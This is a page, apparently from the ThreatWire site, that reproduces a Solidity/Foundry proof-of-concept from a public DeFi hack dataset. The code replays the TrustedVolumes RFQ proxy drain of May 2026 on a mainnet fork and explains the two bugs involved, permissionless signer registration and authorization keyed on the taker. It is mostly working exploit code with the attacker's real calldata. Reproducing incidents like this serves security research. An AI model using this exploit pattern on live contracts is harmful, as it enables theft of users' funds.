Public reproduction file
src/test/2026-05/TrustedVolumes_exp.sol
Public reproduction file for dataset entry TrustedVolumes.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : ~$5.87M USD8// (1,291.16 WETH + 206,282.45 USDT + 16.939 WBTC + 1,268,771.49 USDC)9// Attacker / signer : 0xC3EBDdEa4f69df717a8f5c89e7cF20C1c0389100 (the registered "allowed order signer")10// Attack Contract : 0xd4d5DB5EC65272b26F756712247281515f211e95 (created by the attack tx; acts as `taker`)11// Vulnerable Contract : 0xeEeEEe53033F7227d488ae83a27Bc9A9D5051756 (TrustedVolumes RFQ settlement proxy)12// -> delegatecalls implementation 0x88eb28009351Fb414A5746F5d8CA91cdc02760d8 (UNVERIFIED bytecode)13// Victim (maker/resolver) : 0x9ba0cf1588e1dfa905ec948f7fe5104dd40eda31 (granted UNLIMITED approval to the proxy)14// Attack Tx : 0xc5c61b3ac39d854773b9dc34bd0cdbc8b5bbf75f18551802a0b5881fcb99051315// @Analysis16// Attack date: May 7, 2026 Chain: Ethereum Block: 25039670 (tx index 8)17// rekt.news: https://rekt.news/trustedvolumes-rekt18// Analyses: https://www.darknavy.org/web3/exploits/trustedvolumes-rfq-proxy-drain/19// https://blog.verichains.io/p/trustedvolumes-exploit-analysis20//21// Run:22// forge test --contracts src/test/2026-05/TrustedVolumes_exp.sol --match-contract TrustedVolumesExploit -vv23//24// ---------------------------------------------------------------------------------------------------25// Root cause (two-bug chain on an RFQ settlement contract):26//27// The proxy settles signed RFQ orders. An order says: maker gives `makerAmount` of `makerAsset` to the28// taker, taker gives `takerAmount` of `takerAsset` to the maker; the maker (the party whose funds move29// out via its standing approval to the proxy) must have signed/authorized the order. The maker can30// delegate signing to another key via an "allowed order signer" registry.31//32// BUG #1 -- permissionless signer registration:33// registerAllowedOrderSigner(address signer, bool allowed) selector 0xea7faa6134// has ZERO access control. It writes _allowedOrderSigner[msg.sender][signer] = allowed.35// Anyone can register any EOA as a valid signer *for their own key*.36//37// BUG #2 -- authorization keyed on the wrong party (taker, not maker):38// The fill function (selector 0x4112e1c2) recovers the order signer with ecrecover, then checks39// authorization as _allowedOrderSigner[order.taker][recoveredSigner] -- it uses the TAKER40// (an attacker-controlled field) as the lookup key instead of the order.maker who actually owns41// the funds. It then pulls makerAsset FROM order.maker via the maker's standing approval.42//43// Exploit: the attacker contract (= the taker) calls registerAllowedOrderSigner(attackerEOA, true),44// which sets _allowedOrderSigner[taker][attackerEOA] = true. It then submits orders where:45// maker = the victim resolver (0x9ba0..., which holds the assets and has unlimited approval to the proxy),46// taker = the attacker contract,47// makerAsset/makerAmount = the asset to steal (e.g. 1291 WETH),48// takerAsset/takerAmount = USDC / 1 wei (the attacker pays 1 unit dust per order),49// signature = signed by attackerEOA over the order.50// Because authorization is checked against the taker key (which the attacker registered), the51// attacker-signed orders pass even though the victim maker never approved them, and the maker's52// approved balances are drained out. Four orders drain WETH, USDT, WBTC and USDC for ~$5.87M.53//54// ---------------------------------------------------------------------------------------------------55// PoC method:56// The settlement implementation is UNVERIFIED bytecode, so this PoC reproduces the hack by replaying the57// attacker's EXACT on-chain calldata (the register call + the 4 signed fill orders, including the real58// ECDSA signatures the attacker produced) against a fork pinned one block before the attack. We act as59// the original attack contract address (the order `taker`) so the registry key and the signed `taker`60// field line up. Replaying the genuine calldata is the faithful, deterministic way to demonstrate an61// exploit on a contract whose source is not published.63interface IRfqProxy {64 // registerAllowedOrderSigner(address,bool) -- selector 0xea7faa61, NO access control (Bug #1)65 function registerAllowedOrderSigner(address signer, bool allowed) external;66}68contract TrustedVolumesExploit is Test {69 address constant PROXY = 0xeEeEEe53033F7227d488ae83a27Bc9A9D5051756; // RFQ settlement proxy70 address constant ATTACKER_EOA = 0xC3EBDdEa4f69df717a8f5c89e7cF20C1c0389100; // registered signer + final beneficiary71 // The attacker's deployed contract from the real tx -- it is the order `taker` and the registry key.72 // We impersonate this address so the on-chain signatures (which commit to taker = this address) verify.73 address constant TAKER = 0xD4D5DB5EC65272B26F756712247281515F211E95;74 address constant VICTIM_MAKER = 0x9bA0CF1588E1DFA905eC948F7FE5104dD40EDa31; // resolver with unlimited approval76 IERC20 constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);77 IERC20 constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);78 IERC20 constant USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);79 IERC20 constant WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);81 uint256 constant ATTACK_BLOCK = 25_039_670;83 // ---- Verbatim attacker calldata captured from the attack tx trace (eth_getTransactionByHash + debug trace) ----85 // registerAllowedOrderSigner(0xC3EB...9100, true)86 bytes constant CD_REGISTER =87 hex"ea7faa61000000000000000000000000c3ebddea4f69df717a8f5c89e7cf20c1c03891000000000000000000000000000000000000000000000000000000000000000001";89 // fill(order) 0x4112e1c2 -- order layout:90 // [takerAsset, makerAsset, takerAmount, makerAmount, taker, maker, expiry, nonce, v, r, s, sigType]91 // #1 drain 1,291.16 WETH (takerAsset USDC, makerAsset WETH, takerAmount 1)92 bytes constant CD_FILL_WETH =93 hex"4112e1c2000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc20000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000045fe75b854413cec06000000000000000000000000d4d5db5ec65272b26f756712247281515f211e950000000000000000000000009ba0cf1588e1dfa905ec948f7fe5104dd40eda310000000000000000000000000000000000000000000000000000000069fbe1480000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000001b4f6496eb7ebd74e91df255d580b631e48513f271c60994253411dcf2e1aeb4c00b1ad0f7ff67e96997d22b14aa0908b147b6b71bf76c3ef3f41a9c3a35eda6910000000000000000000000000000000000000000000000000000000000000002";95 // #2 drain 206,282.45 USDT96 bytes constant CD_FILL_USDT =97 hex"4112e1c2000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec70000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000300764581c000000000000000000000000d4d5db5ec65272b26f756712247281515f211e950000000000000000000000009ba0cf1588e1dfa905ec948f7fe5104dd40eda310000000000000000000000000000000000000000000000000000000069fbe1480000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000001c957d7e01305f29e1b3c38169aa877e2e3d7250a25363231074f027462cebb0c243ee738d4a0abe1f96b78c82cefe32af7ba4ad064f270dd0bf417f33726f4bb80000000000000000000000000000000000000000000000000000000000000002";99 // #3 drain 16.939 WBTC100 bytes constant CD_FILL_WBTC =101 hex"4112e1c2000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb480000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c59900000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000064f705f7000000000000000000000000d4d5db5ec65272b26f756712247281515f211e950000000000000000000000009ba0cf1588e1dfa905ec948f7fe5104dd40eda310000000000000000000000000000000000000000000000000000000069fbe1480000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000000000000000000000000001c39a0cb78995ca12d4999f1594e6fd0cc4c8ad9db63f268c38a6f5297806927c904190fdbb1d3a4aa8d58b5125ff293aa8888a9d7891b94dfcecd4500b27b9d270000000000000000000000000000000000000000000000000000000000000002";103 // #4 drain 1,268,771.49 USDC (takerAsset USDC, makerAsset USDC)104 bytes constant CD_FILL_USDC =105 hex"4112e1c2000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4800000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000012768ac846f000000000000000000000000d4d5db5ec65272b26f756712247281515f211e950000000000000000000000009ba0cf1588e1dfa905ec948f7fe5104dd40eda310000000000000000000000000000000000000000000000000000000069fbe1480000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000001b4a4632981a75d969b349af56527c32e7c153c9e3a0ab6f2342b9ffab6fe099ba2bcba1cc93023924b884ed8855cb015a87b69010ed217f98e3c20433284519230000000000000000000000000000000000000000000000000000000000000002";107 function setUp() public {108 vm.createSelectFork("mainnet", ATTACK_BLOCK - 1);109 vm.label(PROXY, "RFQ_Proxy");110 vm.label(TAKER, "AttackContract(taker)");111 vm.label(ATTACKER_EOA, "Attacker(signer)");112 vm.label(VICTIM_MAKER, "VictimResolver(maker)");113 vm.label(address(WETH), "WETH");114 vm.label(address(USDC), "USDC");115 vm.label(address(USDT), "USDT");116 vm.label(address(WBTC), "WBTC");117 }119 function testExploit() public {120 console.log("--- TrustedVolumes RFQ proxy drain (permissionless signer + wrong-key authorization) ---");121 console.log("Attack date: May 7, 2026 Chain: Ethereum Block: %s\n", ATTACK_BLOCK);123 // Victim maker holds the assets and has granted unlimited approval to the proxy.124 uint256 mWeth = WETH.balanceOf(VICTIM_MAKER);125 uint256 mUsdt = USDT.balanceOf(VICTIM_MAKER);126 uint256 mWbtc = WBTC.balanceOf(VICTIM_MAKER);127 uint256 mUsdc = USDC.balanceOf(VICTIM_MAKER);128 console.log("Victim resolver approval to proxy (WETH):", WETH.allowance(VICTIM_MAKER, PROXY));129 console.log("Victim resolver balances before:");130 console.log(" WETH:", mWeth);131 console.log(" USDT:", mUsdt);132 console.log(" WBTC:", mWbtc);133 console.log(" USDC:", mUsdc);134 require(mWeth > 0 && mUsdc > 0, "victim has no funds at fork block");136 // The attacker paid 1 wei USDC dust per order (4 total). Seed the taker with that dust + approval,137 // exactly as the real attack contract did in its constructor.138 deal(address(USDC), TAKER, 4);140 // Everything below runs as the attack contract (the order `taker` / the registry key).141 vm.startPrank(TAKER);143 USDC.approve(PROXY, type(uint256).max);145 // Bug #1: permissionless registration. The taker (an arbitrary attacker address, NOT the proxy owner146 // and NOT the victim maker) registers the attacker EOA as an allowed signer for its own key.147 (bool ok,) = PROXY.call(CD_REGISTER);148 require(ok, "registerAllowedOrderSigner failed");149 console.log("\n[Bug #1] registerAllowedOrderSigner(attackerEOA, true) succeeded with NO access control.");151 // Bug #2: authorization is checked against order.taker, so these attacker-signed orders drain the152 // victim maker's approved balances.153 (ok,) = PROXY.call(CD_FILL_WETH);154 require(ok, "fill WETH failed");155 (ok,) = PROXY.call(CD_FILL_USDT);156 require(ok, "fill USDT failed");157 (ok,) = PROXY.call(CD_FILL_WBTC);158 require(ok, "fill WBTC failed");159 (ok,) = PROXY.call(CD_FILL_USDC);160 require(ok, "fill USDC failed");162 vm.stopPrank();164 // Assets pulled out of the victim maker landed on the taker (the attack contract).165 uint256 gotWeth = WETH.balanceOf(TAKER);166 uint256 gotUsdt = USDT.balanceOf(TAKER);167 uint256 gotWbtc = WBTC.balanceOf(TAKER);168 uint256 gotUsdc = USDC.balanceOf(TAKER);170 console.log("\n[Bug #2] Attacker-signed orders accepted; victim maker drained.");171 console.log("Stolen by attack contract:");172 console.log(" WETH:", gotWeth);173 console.log(" USDT:", gotUsdt);174 console.log(" WBTC:", gotWbtc);175 console.log(" USDC:", gotUsdc);177 console.log("\nApprox USD value (round figures): ~$5.87M");179 // The victim maker lost each asset; the attacker received it.180 assertApproxEqAbs(WETH.balanceOf(VICTIM_MAKER), mWeth - gotWeth, 0, "WETH not drained from maker");181 assertApproxEqAbs(WBTC.balanceOf(VICTIM_MAKER), mWbtc - gotWbtc, 0, "WBTC not drained from maker");182 assertEq(gotWeth, 0x45fe75b854413cec06, "unexpected WETH amount"); // 1,291.16 WETH183 assertEq(gotUsdt, 0x300764581c, "unexpected USDT amount"); // 206,282.45 USDT184 assertEq(gotWbtc, 0x64f705f7, "unexpected WBTC amount"); // 16.939 WBTC185 assertGt(gotUsdc, 1_268_000e6, "unexpected USDC amount"); // ~1,268,771 USDC (minus 4 wei dust paid)187 console.log("\nExploit reproduced: unlimited maker approval + permissionless signer + wrong-key auth = full drain.");188 }189}Analysis
Dataset entry
Public Foundry test for “TrustedVolumes” (2026-05-07). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-05/AdsharesBridge_exp.solSame month in the dataset · 67 lines
- src/test/2026-05/AROS_exp.solSame month in the dataset · 326 lines
- src/test/2026-05/DxSale_exp.solSame month in the dataset · 70 lines
- src/test/2026-05/Ekubo_exp.solSame month in the dataset · 107 lines
- src/test/2026-05/ElevateFi_exp.solSame month in the dataset · 144 lines
- src/test/2026-05/FractalProtocol_exp.solSame month in the dataset · 243 lines
- src/test/2026-05/HumaCreditApprovalBypass_exp.solSame month in the dataset · 101 lines
- src/test/2026-05/INKFinance_exp.solSame month in the dataset · 118 lines
- src/test/2026-05/JoeAgent_exp.solSame month in the dataset · 184 lines
- src/test/2026-05/LegendaryMoneyMonNft_exp.solSame month in the dataset · 145 lines
- src/test/2026-05/MAPProtocol_exp.solSame month in the dataset · 82 lines
- src/test/2026-05/MureDistribution_exp.solSame month in the dataset · 172 lines
- src/test/2026-05/NewMarketTrading_exp.solSame month in the dataset · 212 lines
- src/test/2026-05/Renegade_exp.solSame month in the dataset · 224 lines
- src/test/2026-05/SEAToken_exp.solSame month in the dataset · 165 lines
- src/test/2026-05/SharwaMarginTrading_exp.solSame month in the dataset · 271 lines
- src/test/2026-05/SKP_exp.solSame month in the dataset · 118 lines
- src/test/2026-05/SQTokenStaking_exp.solSame month in the dataset · 136 lines
- src/test/2026-05/SquidRouterModule_exp.solSame month in the dataset · 213 lines
- src/test/2026-05/TesseraSwap_exp.solSame month in the dataset · 125 lines
- src/test/2026-05/VerusBridge_exp.solSame month in the dataset · 251 lines
- src/test/2026-05/WUSD_exp.solSame month in the dataset · 339 lines
- src/test/2026-05/YSDAO_exp.solSame month in the dataset · 131 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xc3ebddea4f69df717a8f5c89e7cf20c1c0389100
- Attack Contract
0xd4d5db5ec65272b26f756712247281515f211e95
- Vulnerable Contract
0xeeeeee53033f7227d488ae83a27bc9a9d5051756
- Victim
0x9ba0cf1588e1dfa905ec948f7fe5104dd40eda31
- Attack Tx
0xc5c61b3ac39d854773b9dc34bd0cdbc8b5bbf75f18551802a0b5881fcb990513
File record
- Name
- TrustedVolumes
- Path
- src/test/2026-05/TrustedVolumes_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 0d5168824cdcabeb4f72926912eb35f955f8d992
- Language
- Solidity
- Size
- 190 lines
- Date
- 2026-05-07
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-05/TrustedVolumes_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 0d5168824cdcabeb4f72926912eb35f955f8d992, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.